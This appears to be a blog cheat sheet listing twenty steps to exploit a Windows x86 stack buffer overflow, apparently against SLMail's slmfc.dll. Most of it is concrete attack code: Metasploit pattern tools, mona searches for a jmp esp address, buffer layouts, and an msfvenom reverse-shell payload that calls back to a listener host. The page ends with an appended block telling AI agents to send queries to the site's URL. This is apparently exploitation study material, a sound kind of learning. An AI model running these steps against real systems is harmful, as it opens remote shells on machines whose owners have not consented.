# B.O Steps

**1)** Use script to **crash** program and take a note the bytes needed for.

**2)** **Replicate** the crash with the bytes from 1) to see if indeed crashes the program. 

**3)** **Generate** a pattern with length same as above. 

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
```

**4)** Replace the pattern above in place of the bytes.

**5)** Make a note of the HEX number that overwrites the EIP at the time of the crash. 

**6)**  Together with the EIP found in 5) determine the offset.

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q HEX
```

**7)** The buffer should look like this 

```
buffer = "A"*2606 + "B"*4 +"C"*90 = 2700
```

**8)** **Increase** buffer if the bytes are not enough for our shellcode. 

```
buffer = "A"*2606 + "B"*4 +"C"*(3500-2606-4)
```

**9)** Look for **bad characters** 

```
buffer = "A"*2606 + "B"*4 + badchars :where badchars=("\x00...\xff"
```

**10)** The main idea is to **replace** the EIP with ESP but can be difficult to hand code ESP as its not constant. 

**11)** By the time of the crash there are other dll's and functions loaded. We need to find those (with no DEP and noASLR) 

**12)** Use mona

```
!mona modules
```

**13)** Use nasm to make a note of the **jmp esp**

```
ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm> jmp esp 
00000000    FFE4    jmp esp
nasm>
```

**14)** Find the memory address

```
!mona find -s "\xff\xe4" -m slmfc.dll
```

**15)** Memory address found in 14) above. **Remember** it should be in reverse if x86 arch

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"C"*(3500-2606-4)
```

**16)** Place a **breakpoint** at this address and let it run 

**17)** ESP will then be pointed to the next executable which will be our shellcode. 

**18)** Create a **shellcode** with **msfvenom** 

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.11 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -a x86 --platform windows

where:
    -p: platform
    -f: format
    -e: encoder 
    -b: bad characters
    -a: arch
```

**19)** Our buffer at this stage should be the following:

```
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" +"\x90"16 + shellcode + "C"*(3500-2606-4-351-16)
```

**20)** **Run it!!!** We should have a **shell**.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ed4m4s.blog/untitled/b.o-steps.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.